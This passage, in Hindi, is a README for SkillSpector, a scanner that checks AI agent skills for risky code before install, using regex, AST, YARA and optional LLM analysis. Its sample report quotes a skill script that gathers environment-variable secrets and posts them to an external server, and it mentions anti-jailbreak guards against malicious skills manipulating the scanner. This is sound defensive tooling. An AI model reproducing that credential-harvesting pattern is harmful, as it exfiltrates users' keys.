| TP4 | विवरण-व्यवहार बेमेल | मध्यम | घोषित टूल विवरण वास्तविक कोड व्यवहार से मेल नहीं खाता (LLM-संचालित) |
सभी पता लगाए गए पैटर्न ऊपर दी गई तालिकाओं में सूचीबद्ध हैं।
## जोखिम स्कोरिंग
### स्कोर गणना
- **गंभीर समस्याएँ**: +50 अंक
- **उच्च समस्याएँ**: +25 अंक
- **मध्यम समस्याएँ**: +10 अंक
- **निम्न समस्याएँ**: +5 अंक
- **निष्पादन योग्य स्क्रिप्ट**: 1.3x गुणक
### गंभीरता स्तर
| स्कोर | गंभीरता | अनुशंसा |
|-------|----------|----------------|
| 0-20 | निम्न | सुरक्षित |
| 21-50 | मध्यम | सावधानी |
| 51-80 | उच्च | इंस्टॉल न करें |
| 81-100 | गंभीर | इंस्टॉल न करें |
## उदाहरण आउटपुट
### टर्मिनल आउटपुट```
SkillSpector Security Report v2.0.0
Skill: suspicious-skill
Source: ./suspicious-skill/
Scanned: 2026-01-29 10:30:00 UTC
Risk Assessment
Metric Value
Score 78/100
Severity HIGH
Recommendation DO NOT INSTALL
Components (3)
File Type Lines Executable
SKILL.md markdown 142 No
scripts/sync.py python 87 Yes
requirements.txt text 3 No
Issues (2)
HIGH: Env Variable Harvesting (E2)
Location: scripts/sync.py:23
Finding: for key, val in os.environ.items():...
Confidence: 94%
Explanation: This code collects environment variables containing
API keys and secrets, then sends them to an external server.
HIGH: External Transmission (E1)
Location: scripts/sync.py:45
Finding: requests.post("https://api.skill.io/env"...
Confidence: 89%
Explanation: Data is being sent to an external server. Combined
with env harvesting above, this indicates credential exfiltration.
कॉन्फ़िगरेशन
पर्यावरण चर
| चर | विवरण | आवश्यक |
|---|---|---|
SKILLSPECTOR_PROVIDER | सक्रिय LLM प्रदाता: openai, anthropic, anthropic_proxy, bedrock, nv_build, claude_cli, codex_cli, या gemini_cli। होस्टेड प्रदाता बंडल की गई model_registry.yaml डिफ़ॉल्ट का उपयोग करते हैं; claude_cli और codex_cli स्थानीय CLI रनटाइम के डिफ़ॉल्ट मॉडल पर वापस जाते हैं, जब तक SKILLSPECTOR_MODEL सेट न हो। डिफ़ॉल्ट nv_build है। | वैकल्पिक |
NVIDIA_INFERENCE_KEY | nv_build प्रदाता (build.nvidia.com) के लिए क्रेडेंशियल। | SKILLSPECTOR_PROVIDER=nv_build होने पर LLM विश्लेषण के लिए आवश्यक |
OPENAI_API_KEY | OpenAI प्रदाता के लिए क्रेडेंशियल (SKILLSPECTOR_PROVIDER=openai)। सक्रिय प्रदाता से कोई क्रेडेंशियल न मिलने पर यह क्रेडेंशियल वॉटरफॉल में स्तर-2 फ़ॉलबैक के रूप में भी कार्य करता है। | SKILLSPECTOR_PROVIDER=openai होने पर LLM विश्लेषण के लिए आवश्यक |
OPENAI_BASE_URL | OpenAI एंडपॉइंट को ओवरराइड करें (उदा. Ollama की ओर इंगित करें)। | वैकल्पिक |
SKILLSPECTOR_REASONING_EFFORT | वैकल्पिक प्रदाता- और मॉडल-निर्भर रीज़निंग-एफ़र्ट सेटिंग। गैर-खाली मान ट्रिम करके यथावत पास किए जाते हैं; अनसेट या खाली होने पर प्रदाता-डिफ़ॉल्ट व्यवहार बना रहता है। | वैकल्पिक |
ANTHROPIC_API_KEY | Anthropic प्रदाता के लिए क्रेडेंशियल (SKILLSPECTOR_PROVIDER=anthropic)। | SKILLSPECTOR_PROVIDER=anthropic होने पर LLM विश्लेषण के लिए आवश्यक |
ANTHROPIC_BASE_URL | मूल Anthropic एंडपॉइंट को ओवरराइड करें (डिफ़ॉल्ट: https://api.anthropic.com)। | वैकल्पिक |
ANTHROPIC_PROXY_ENDPOINT_URL | Anthropic प्रॉक्सी प्रदाता (Vertex-शैली raw-predict) के लिए पूर्ण एंडपॉइंट URL। | SKILLSPECTOR_PROVIDER=anthropic_proxy होने पर आवश्यक |
ANTHROPIC_PROXY_API_KEY | Anthropic प्रॉक्सी प्रदाता के लिए बियरर टोकन। | SKILLSPECTOR_PROVIDER=anthropic_proxy होने पर आवश्यक |
ANTHROPIC_PROXY_API_VERSION | अनुरोध बॉडी में भेजा गया anthropic_version मान (डिफ़ॉल्ट: vertex-2023-10-16)। | वैकल्पिक |
AWS_PROFILE | Bedrock प्रदाता के लिए नामित AWS प्रोफ़ाइल — boto3 के माध्यम से SigV4 से प्रमाणित होता है। अनसेट होने पर, मानक boto3 क्रेडेंशियल श्रृंखला (env vars, इंस्टेंस मेटाडेटा, SSO, आदि) हल होती है। | वैकल्पिक (SKILLSPECTOR_PROVIDER=bedrock होने पर उपयोग होता है) |
AWS_REGION | Bedrock Runtime एंडपॉइंट के लिए AWS क्षेत्र। डिफ़ॉल्ट us-west-2 है। | वैकल्पिक (SKILLSPECTOR_PROVIDER=bedrock होने पर उपयोग होता है) |
SKILLSPECTOR_MODEL | सक्रिय प्रदाता मॉडल को ओवरराइड करें। होस्टेड प्रदाताओं के लिए, यह LLM विश्लेषण तालिका से बंडल डिफ़ॉल्ट को बदल देता है। claude_cli और codex_cli के लिए, यह स्थानीय CLI रनटाइम फ़ॉलबैक का उपयोग करने के बजाय --model के रूप में अग्रेषित किया जाता है। | वैकल्पिक |
SKILLSPECTOR_MODEL_REGISTRY | बंडल की गई प्रति-प्रदाता YAML रजिस्ट्री (src/skillspector/providers/<provider>/model_registry.yaml) को किसी कस्टम पथ से ओवरराइड करें। | वैकल्पिक |
SKILLSPECTOR_LOG_LEVEL | लॉग स्तर: DEBUG, INFO, WARNING, ERROR (डिफ़ॉल्ट: WARNING)। | वैकल्पिक |
CLI प्रदाता (
claude_cli,codex_cli): किसी API कुंजी की आवश्यकता नहीं है। प्रमाणीकरण पूरी तरह से एजेंट CLI के अपने लॉगिन सत्र (claude auth login/codex login) द्वारा प्रबंधित किया जाता है। इन प्रदाताओं के सक्रिय होने पर SkillSpector API कुंजियाँ कभी नहीं पढ़ता या अग्रेषित नहीं करता। सबप्रोसेस एक सख्त सैंडबॉक्स में चलाया जाता है: टूल अक्षम, कोई MCP नहीं, केवल-पढ़ने योग्य सैंडबॉक्स मोड (codex), और अविश्वसनीय स्किल सामग्री केवल stdin के माध्यम से दी जाती है।
CLI विकल्प```bash
skillspector scan --help
Options: -f, --format [terminal|json|markdown|sarif] Output format [default: terminal] -o, --output PATH Output file path --no-llm Skip LLM analysis (static only) --yara-rules-dir PATH Extra YARA rules directory -b, --baseline PATH Suppress findings listed in a baseline --show-suppressed List baseline-suppressed findings -V, --verbose Show detailed progress --help Show this message and exit
Generate a baseline of all current findings (see docs/SUPPRESSION.md)
skillspector baseline [-o FILE] [--no-llm] [--reason TEXT]
## SkillSpector को एकीकृत करना
SkillSpector को अन्य टूल्स (CI पाइपलाइन, इंस्टॉल गेट्स, एडिटर इंटीग्रेशन) द्वारा संचालित करने के लिए बनाया गया है। इसका एग्जिट कोड और JSON आउटपुट एक स्थिर अनुबंध है।
### एग्जिट कोड
`skillspector scan` निम्नलिखित एग्जिट कोड के साथ समाप्त होता है:
| कोड | अर्थ |
|------|---------|
| `0` | स्कैन पूर्ण, `risk_score` ≤ 50 (अनुशंसा `SAFE` या `CAUTION`) |
| `1` | स्कैन पूर्ण, `risk_score` > 50 (अनुशंसा `DO_NOT_INSTALL`) |
| `2` | त्रुटि (गलत इनपुट, अपठनीय स्रोत, आंतरिक विफलता) |
> एग्जिट कोड `SAFE` और `CAUTION` को `0` में समेट देता है। उन पर अलग-अलग कार्रवाई करने के लिए (जैसे `CAUTION` पर *चेतावनी* दें लेकिन `DO_NOT_INSTALL` पर *ब्लॉक* करें), एग्जिट कोड पर निर्भर रहने के बजाय JSON आउटपुट से `recommendation` फ़ील्ड पढ़ें।
### मशीन-पठनीय आउटपुट
`--format json` एक JSON रिपोर्ट उत्पन्न करता है; बिना `--output`/`-o` के इसे stdout पर लिखा जाता है:```bash
skillspector scan ./my-skill/ --format json
शीर्ष-स्तर का आकार है (यह उदाहरण एक पूर्ण LLM-समर्थित स्कैन दिखाता है; --no-llm के साथ, metadata.llm_requested false है):```json
{
"skill": { "name": "...", "source": "...", "scanned_at": "<ISO 8601>" },
"risk_assessment": { "score": 0, "severity": "LOW", "recommendation": "SAFE" },
"components": [ { "path": "...", "type": "...", "lines": 0, "executable": false, "size_bytes": 0 } ],
"issues": [ { "id": "...", "category": "...", "severity": "...", "confidence": 0.0, "location": { "file": "...", "start_line": 0 } } ],
"metadata": {
"has_executable_scripts": false,
"skillspector_version": "...",
"llm_requested": true,
"llm_available": true,
"inference_usage": [
{
"node": "semantic_security_discovery",
"request_kind": "structured_output",
"provider": "nv_inference",
"model": "azure/anthropic/claude-opus-4-6",
"model_source": "provider_response",
"usage_source": "provider_response",
"prompt_tokens": 1000,
"completion_tokens": 100,
"cached_tokens": 400,
"cache_write_tokens": 50,
"total_tokens": 1100
}
]
}
}
- `risk_assessment.severity` ∈ `LOW | MEDIUM | HIGH | CRITICAL`.
- `risk_assessment.recommendation` ∈ `SAFE | CAUTION | DO_NOT_INSTALL`, गंभीरता से मैप किया गया: `LOW → SAFE`, `MEDIUM → CAUTION`, `HIGH`/`CRITICAL → DO_NOT_INSTALL`.
- `metadata.llm_error` केवल तब दिखाई देता है जब LLM विश्लेषण का अनुरोध किया गया था लेकिन वह उपलब्ध नहीं था।
- `metadata.inference_usage` में प्रत्येक LLM प्रतिक्रिया के लिए एक सैनिटाइज़्ड रिकॉर्ड होता है जब
प्रदाता टोकन काउंटर उजागर करता है। जब उपयोग अनुपलब्ध होता है तो यह एक खाली सूची होती है;
SkillSpector कभी भी लापता टोकनों का अनुमान नहीं लगाता। प्रॉम्प्ट कुल में कैश
रीड और राइट शामिल होते हैं ताकि डाउनस्ट्रीम मूल्य निर्धारण उन विभाजनों को सुरक्षित रूप से अलग कर सके।
`model_source` एक स्वतंत्र रूप से पहचाने गए प्रदाता मॉडल को
उस सटीक अनुरोधित मॉडल से अलग करता है जिसका उपयोग तब किया जाता है जब प्रतिक्रिया पहचान अनुपस्थित या अस्पष्ट हो।
SkillSpector वर्तमान में Anthropic प्रॉम्प्ट-कैश नियंत्रण नहीं भेजता है, इसलिए इसके
स्कैन अनुरोध अलग 5-मिनट या 1-घंटे कैश-राइट टियर का चयन नहीं कर सकते;
TTL-विशिष्ट प्रतिक्रिया फ़ील्ड को रक्षात्मक रूप से समग्र
कैश-राइट काउंटर में सामान्यीकृत किया जाता है।
- [Inference usage telemetry](https://github.com/nvidia/skillspector/blob/HEAD/docs/INFERENCE_USAGE.md) देखें, जिसमें पूर्ण
प्रोवेनेंस, कैश-लेखांकन, गोपनीयता, फेल-क्लोज़्ड अंतर्ग्रहण और डाउनस्ट्रीम
मूल्य निर्धारण अनुबंध शामिल है।
- प्रति-मुद्दे का पूर्ण आकार `Finding.to_dict()` द्वारा [models.py](https://github.com/nvidia/skillspector/blob/HEAD/src/skillspector/models.py) में परिभाषित किया गया है; ऊपर दिए गए फ़ील्ड पर भरोसा करें और किसी भी अतिरिक्त फ़ील्ड को बेस्ट-एफ़ोर्ट मानें।
CI/IDE टूलिंग के लिए, `--format sarif` SARIF 2.1.0 उत्पन्न करता है।
### अनुशंसित गेट मैपिंग
जब SkillSpector को इंस्टॉल गेट के रूप में उपयोग करते हैं, तो अनुशंसा को एक क्रिया में मैप करें:
| `recommendation` | सुझाई गई क्रिया |
|------------------|------------------|
| `SAFE` | अनुमति दें |
| `CAUTION` | उपयोगकर्ता को संकेत / चेतावनी दें |
| `DO_NOT_INSTALL` | ब्लॉक करें |
SkillSpector स्कोर बैंड और अनुशंसा की गणना करता है; गेट कितना सख्त है (जैसे कि `CAUTION` CI में ब्लॉक करता है या नहीं) एकीकृत टूल के लिए नीति निर्णय है।
## विकास
### सेटअप
सभी `make` टारगेट मानते हैं कि एक वर्चुअल वातावरण पहले ही बनाया और सक्रिय किया जा चुका है। Makefile **uv** का उपयोग करता है यदि उपलब्ध हो, अन्यथा **pip**।```bash
# Clone, create venv, activate, install dev dependencies
git clone https://github.com/NVIDIA/skillspector.git
cd skillspector
uv venv .venv && source .venv/bin/activate
# or: python3 -m venv .venv && source .venv/bin/activate
make install-dev
# Run tests
make test
# Run tests with coverage
make test-cov
# Run linting
make lint
# Format code
make format
यह कैसे काम करता है
SkillSpector दो-चरणीय पहचान पाइपलाइन का उपयोग करता है:
चरण 1: स्थैतिक विश्लेषण
- 11 स्थैतिक विश्लेषकों में तेज़ regex-आधारित पैटर्न मिलान
- AST-आधारित व्यवहार विश्लेषण जो खतरनाक कॉल (exec, eval, subprocess, आदि) का पता लगाता है
- निर्भरताओं में ज्ञात CVE के लिए OSV.dev के माध्यम से लाइव भेद्यता खोज
- स्किल में सभी विश्लेषक-पात्र फ़ाइलों को स्कैन करता है
- उच्च रिकॉल (अधिकांश समस्याओं को पकड़ता है)
- मध्यम परिशुद्धता (कुछ गलत सकारात्मक)
एक वैध, रूट-स्तरीय OpenSSF Model Signing हस्ताक्षर (skill.oms.sig) को oms_signature प्रकार के रूप में
घटक इन्वेंट्री में बनाए रखा जाता है, लेकिन स्थैतिक और LLM सामग्री विश्लेषण से बाहर रखा जाता है।
OMS बंडलों में आवश्यक रूप से लंबे base64-एन्कोडेड पेलोड, हस्ताक्षर और प्रमाणपत्र फ़ील्ड होते हैं;
सामान्य अस्पष्ट-कोड जाँचें अन्यथा उन फ़ील्ड्स को छिपी हुई निष्पादन योग्य सामग्री के रूप में गलत वर्गीकृत कर सकती हैं।
पहचानकर्ता न्यूनतम OMS DSSE/in-toto संरचना की जाँच करता है; यह हस्ताक्षर, प्रमाणपत्र श्रृंखला,
पारदर्शिता-लॉग प्रविष्टि, या हस्ताक्षरकर्ता पहचान को सत्यापित नहीं करता है। अमान्य या अपरिचित हस्ताक्षर
फ़ाइलें सामान्य रूप से स्कैन की जाती हैं।
चरण 2: LLM सिमेंटिक विश्लेषण (वैकल्पिक)
- संदर्भ और इरादे का मूल्यांकन करता है
- गलत सकारात्मक को फ़िल्टर करता है
- मानव-पठनीय स्पष्टीकरण प्रदान करता है
- परिशुद्धता को ~87% तक सुधारता है
LLM प्रॉम्प्ट में एंटी-जेलब्रेक सुरक्षाएँ शामिल हैं ताकि दुर्भावनापूर्ण स्किल्स को विश्लेषण में हेरफेर करने से रोका जा सके।
लाइव भेद्यता खोज (SC4)
SC4 निर्भरताओं को संपूर्ण ओपन सोर्स भेद्यता डेटाबेस के विरुद्ध जाँचने के लिए OSV.dev API का उपयोग करता है — जिसमें PyPI और npm में दसियों हज़ार सलाह शामिल हैं।
- कोई API कुंजी आवश्यक नहीं — OSV.dev मुफ़्त और बिना प्रमाणीकरण के है।
- बैच क्वेरी — सभी निर्भरताओं को एक ही HTTP कॉल में जाँचा जाता है।
- स्वचालित फ़ॉलबैक — यदि OSV.dev अप्राप्य है (air-gapped/ऑफ़लाइन), तो एक छोटी अंतर्निहित फ़ॉलबैक सूची का उपयोग किया जाता है।
- कैशिंग — परिणाम एक सत्र के दौरान अनावश्यक API कॉल से बचने के लिए 1 घंटे के लिए मेमोरी में कैश किए जाते हैं।
लाइव भेद्यता डेटा के लिए टूल को api.osv.dev तक आउटबाउंड HTTPS एक्सेस की आवश्यकता होती है। जब वह उपलब्ध नहीं होता है, तो निष्कर्ष स्थैतिक फ़ॉलबैक सूची तक सीमित होते हैं।
ट्रस्ट मॉडल और डेटा आउटगोइंग
SkillSpector रक्षा-में-गहराई है, सैंडबॉक्स नहीं। उस पर भरोसा करने से पहले जान लें कि यह क्या करता है और क्या नहीं करता:
- यह स्कैन की गई स्किल को कभी निष्पादित नहीं करता। सभी विश्लेषण स्थैतिक हैं (regex, Python AST, YARA) साथ ही फ़ाइल सामग्री का वैकल्पिक LLM मूल्यांकन — स्किल का कोड कभी नहीं चलाया जाता।
- LLM विश्लेषण विश्लेषक-पात्र फ़ाइल सामग्री को कॉन्फ़िगर किए गए प्रदाता को भेजता है। जब LLM विश्लेषण सक्षम होता है (डिफ़ॉल्ट), फ़ाइल सामग्री सक्रिय
SKILLSPECTOR_PROVIDERएंडपॉइंट को भेजी जाती है। पहचाने गए OMS हस्ताक्षर फ़ाइलों को बाहर रखा गया है। सामग्री को स्थानीय रखने के लिए--no-llmका उपयोग करें (केवल स्थैतिक विश्लेषण)। - SC4 निर्भरता नाम OSV.dev को भेजता है। आपूर्ति-श्रृंखला जाँच स्किल द्वारा घोषित पैकेज नामों और संस्करणों के साथ OSV.dev से ज्ञात CVE देखने के लिए पूछती है। यह जाँच के लिए मौलिक है और
--no-llmके साथ भी चलती है। यह निर्भरता निर्देशांक (फ़ाइल सामग्री नहीं) भेजता है, किसी API कुंजी की आवश्यकता नहीं होती है, और OSV.dev अप्राप्य होने पर एक बंडल सूची में फ़ॉलबैक करता है। - यह होस्ट को सैंडबॉक्स नहीं करता। SkillSpector एक स्किल इंस्टॉल करने से पहले जोखिम भरे पैटर्न को चिह्नित करता है; यह उस स्किल को शामिल या अलग नहीं करता जिसे आप फिर भी इंस्टॉल करना चुनते हैं।
सीमाएँ
- गैर-अंग्रेज़ी सामग्री: अन्य भाषाओं में पैटर्न छूट सकते हैं
- छवि-आधारित हमले: छवियों में पाठ का विश्लेषण नहीं कर सकते
- एन्क्रिप्टेड/बाइनरी कोड: संकलित या एन्क्रिप्टेड सामग्री का विश्लेषण नहीं कर सकते
- रनटाइम व्यवहार: केवल स्थैतिक विश्लेषण, कोई गतिशील निष्पादन नहीं
- ऑफ़लाइन SC4:
api.osv.devतक नेटवर्क एक्सेस के बिना, SC4 एक छोटी स्थैतिक फ़ॉलबैक सूची का उपयोग करता है
शोध पृष्ठभूमि
"Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale" (Liu et al., 2026) से शोध पर आधारित:
- डेटासेट: प्रमुख मार्केटप्लेस से 42,447 स्किल्स
- असुरक्षित: 26.1% में कम से कम एक भेद्यता है
- उच्च-गंभीरता: 5.2% में संभावित दुर्भावनापूर्ण इरादा दिखता है
- मुख्य निष्कर्ष: निष्पादन योग्य स्क्रिप्ट वाली स्किल्स के असुरक्षित होने की संभावना 2.12x अधिक होती है
Python API एकीकरण```python
from skillspector import graph
Invoke the LangGraph workflow
result = graph.invoke({ "input_path": "/path/to/skill", "output_format": "json", # terminal, json, markdown, or sarif "use_llm": True, # False for static-only analysis })
Access results
print(f"Risk Score: {result['risk_score']}/100") print(f"Severity: {result['risk_severity']}") print(f"Recommendation: {result['risk_recommendation']}")
for finding in result["filtered_findings"]: print(f"[{finding['severity']}] {finding['rule_id']}: {finding['message']}")
## लाइसेंस
Apache License 2.0 - विवरण के लिए [LICENSE](https://github.com/nvidia/skillspector/blob/HEAD/LICENSE) देखें।
## योगदान
योगदान का स्वागत है! कृपया हमारी योगदान दिशानिर्देश पढ़ें और पुल अनुरोध सबमिट करें।
## सहायता
- **मुद्दे**: [GitHub Issues](https://github.com/NVIDIA/skillspector/issues)